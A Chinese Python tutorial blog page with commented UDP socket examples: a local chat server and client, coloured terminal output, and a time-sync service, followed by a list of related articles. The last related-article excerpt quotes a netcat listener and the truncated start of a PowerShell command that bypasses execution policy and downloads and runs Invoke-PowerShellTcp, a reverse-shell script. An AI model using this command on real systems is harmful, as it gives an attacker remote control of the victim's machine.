33 udp协议编码  显示客户端名字,输出带颜色的内容 udp协议的时间同步机制  
#一.udp 协议编码 一个服务器,多个客户端
#服务器:
# import socket
# sk=socket.socket(type=socket.SOCK_DGRAM)
# sk.bind(("127.0.0.1",8801))
# while True:
# msg,addr=sk.recvfrom(1024)
# print(msg.decode("utf-8"),addr)
# msg1=msg.decode("utf-8")
# if msg1=="q":
# continue
# con=input("<<<").encode("utf-8")
# sk.sendto(con,addr)
# if con =="q":
# break
# sk.close()
#客户端
# import socket
# sk=socket.socket(type=socket.SOCK_DGRAM)
# while True:
# con1=input("<<<").encode("utf-8")
# sk.sendto(con1,("127.0.0.1",8801))
# if con1=="q":
# break
# msg_c,addr=sk.recvfrom(1024)
# print(msg_c.decode("utf-8"))
# msg2=msg_c.decode("utf-8")
# if msg2=="q":
# break
# sk.close() # 二.优化代码显示客户端名字
#服务器
# import socket
# sk=socket.socket(type=socket.SOCK_DGRAM)
# sk.bind(("127.0.0.1",8801))
# while True:
# msg,addr=sk.recvfrom(1024)
# print(msg.decode("utf-8"),addr)
# msg1=msg.decode("utf-8")
# if msg1=="q":
# continue
# con=input("<<<").encode("utf-8")
# sk.sendto(con,addr)
# if con =="q":
# break
# sk.close()
#客户端
# import socket
# sk=socket.socket(type=socket.SOCK_DGRAM)
# name=input("请输入名字:")
# while True:
# con1=input("<<<")
# con1=name+":"+con1
# sk.sendto(con1.encode("utf-8"),("127.0.0.1",8801))
# if con1=="q":
# break
# msg_c,addr=sk.recvfrom(1024)
# print(msg_c.decode("utf-8"))
# msg2=msg_c.decode("utf-8")
# if msg2=="q":
# break
# sk.close() #三.输出带颜色的字(一个客户端)
#服务器:
# import socket
# sk=socket.socket(type=socket.SOCK_DGRAM)
# sk.bind(("127.0.0.1",8801))
# while True:
# msg,addr=sk.recvfrom(1024)
# msg_c=msg.decode("utf-8")
# print("\033[0;35;41m%s,%s\033[0m"%(msg_c,addr))
#
# if msg_c=="q":
# continue
# con=input("<<<").encode("utf-8")
# sk.sendto(con,addr)
# if con =="q":
# break
# sk.close() #四.输出带颜色的文字( 一个服务器 多个客户端)
#服务器
# import socket
# sk=socket.socket(type=socket.SOCK_DGRAM)
# sk.bind(("127.0.0.1",8801))
# dic={"alex":"\033[0;35;41m","太白":"\033[0;32;40m"}
# while True:
# msg,addr=sk.recvfrom(1024)
# msg_c=msg.decode("utf-8")
# name=msg_c.split(":")[0].strip()
# print(name)
# color=dic.get(name,"")
# print("%s%s\033[0m" % (color,msg_c))
#
# if msg_c=="q":
# continue
# con=input("<<<").encode("utf-8")
# sk.sendto(con,addr)
# if con =="q":
# break
# sk.close() #五.基于udp协议的时间同步机制
#服务器
# import socket
# import time
# sk=socket.socket(type=socket.SOCK_DGRAM)
# sk.bind(("127.0.0.1",8801))
# while 1:
# tm_format,addr=sk.recvfrom(1024)
# tm_format=tm_format.decode("utf-8")
# local_time=time.strftime(tm_format)
# sk.sendto(local_time.encode("utf_8"),addr)
# sk.close()
#客户端
# import socket
# import time
# sk=socket.socket(type=socket.SOCK_DGRAM)
# tm_format=input(">>>")
# while 1:
# sk.sendto(tm_format.encode("utf-8"),("127.0.0.1",8801))
# local_time,addr=sk.recvfrom(1024)
# print(local_time.decode("utf-8"))
# time.sleep(5) #五秒出一个
# sk.close()

python全栈开发 * 33 知识点汇总 * 180718的更多相关文章

  1. python全栈开发 * 10知识点汇总 * 180612

    10 函数进阶 知识点汇总 一.动态参数 形参的第三种1.动态接收位置传参 表达:*args (在参数位置编写 * 表⽰接收任意内容) (1)动态位置参数def eat(*args): print(a ...

  2. python全栈开发 * 32知识点汇总 * 180717

    32 网络编程 (一)一.架构 定义:程序员开发的一种模式. 分类: C/S 架构 C/S即:Client与Server , 客户端/ 服务器模式 . 缺点 : 冗余 B/S 架构 Browser与S ...

  3. python全栈开发 * 26知识点汇总 * 180709

    26 logging collections random 模块 一.logging低配:日志不能写入文件与显示同时进行 import logging logging.basicConfig(leve ...

  4. python全栈开发 * 01知识点汇总 * 180530

    一 python简介. 1.创始人:  吉多 .范罗苏姆  \   (Guido van Rossum). 2.时间  :  1989年. 3.主要应用领域  :  云计算 \  WEB开发  \   ...

  5. python全栈开发 * 12 知识点汇总 * 180530

    12 知识点总结 装饰器进阶 ⼀. 通⽤装饰器的回顾1.开闭原则: 对增加功能开放. 对修改代码封闭2.装饰器的作⽤: 在不改变原有代码的基础上给⼀个函数增加功能3.通⽤装饰器的写法:def wrap ...

  6. python全栈开发 * 36知识点汇总 * 180721

    36 操作系统的发展史 进程一.手工操作--穿孔卡片 1.内容: 程序员将对应于程序和数据的已穿孔的纸带(或卡片)装入输入机,然后启动输入机把程序和数据输入计算机内存,接着通过控制 台开关启动程序针对 ...

  7. python全栈开发 * 31知识点汇总 * 180716

    31 模块和包一.模块(一)模块的种类:内置模块,自定义模块,扩展模块第三方模块(二)自定义模块 1.模块的创建 : 新建一个py文件. 2.模块名 : 模块名需要符合变量的命名规范. 3.模块的导入 ...

  8. python全栈开发 * 24 知识点汇总 * 180705

    24 模块-------序列化一.什么是模块 模块:py文件就是一个模块.二.模块的分类:(1)内置模块 (登录模块,时间模块,sys模块,os模块)(2)扩展模块 (itchat 微信有关,爬虫,b ...

  9. python全栈开发 * 27知识点汇总 * 180710

    27   time  os  sys  模块 time 模块 一.表示时间的三种方式 时间戳(timestamp), 元组(struct_time),格式化时间字符串(Format string) 小 ...

随机推荐

  1. FFM及DeepFFM模型在推荐系统的探索及实践

    12月20日至23日,全球人工智能与机器学习技术大会 AiCon 2018 在北京国际会议中心盛大举行,新浪微博AI Lab 的资深算法专家 张俊林@张俊林say 主持了大会的 搜索推荐与算法专题,并 ...

  2. 终端下将 man 命令的结果输出到文件保存

    终端下将 man 命令的结果输出到文件保存 在linux或mac下,当我们使用man命令查看某一个命令的详细帮助说明信息时: 可能终端的显示效果不是那么方便: 那么我们可以将man命令的结果输出到tx ...

  3. html5使用canvas动态画医学设备毫秒级数据波形图

  4. BOOST 线程完全攻略

    1 创建线程 首先看看boost::thread的构造函数吧,boost::thread有两个构造函数: (1)thread():构造一个表示当前执行线程的线程对象: (2)explicit thre ...

  5. SQL Server 性能优化实战系列(一)

    数据库服务器主要用于存储.查询.检索企业内部的信息,因此需要搭配专用的数据库系统,对服务器的兼容性.可靠性和稳定性等方面都有很高的要求.        下面是进行笼统的技术点说明,为的是让大家有一个整 ...

  6. NBU将RAC数据库恢复到单机

    恢复的过程和(https://www.cnblogs.com/abclife/p/5687993.html)差不多.但是,具体过程有些不同.如果按照之前的恢复方式,在run语句中同时运行restore ...

  7. laya 自定义组件加载错误:显示空白

    laya ide  自定义组件的制作与使用 https://ldc.layabox.com/doc/?nav=zh-js-2-2-3 在xml定义时,resName="sbtn" ...

  8. linux下udev

    如果你使用Linux比较长时间了,那你就知道,在对待设备文件这块,Linux改变了几次策略.在Linux早期,设备文件仅仅是是一些带有适当的属性集的普通文件,它由mknod命令创建,文件存放在/dev ...

  9. Linux系统中文显示

    # Linux系统中文显示 ### 配置文件路径------------------------------ 路径`/etc/locate.conf` ### 查看系统当前字符集----------- ...

  10. Get shell By Powershell

    Invoke-PowerShellTcp.ps1 监听主机:nc -nv -l -p 9999 powershell -nop -exec bypass -c "IEX (New-Objec ...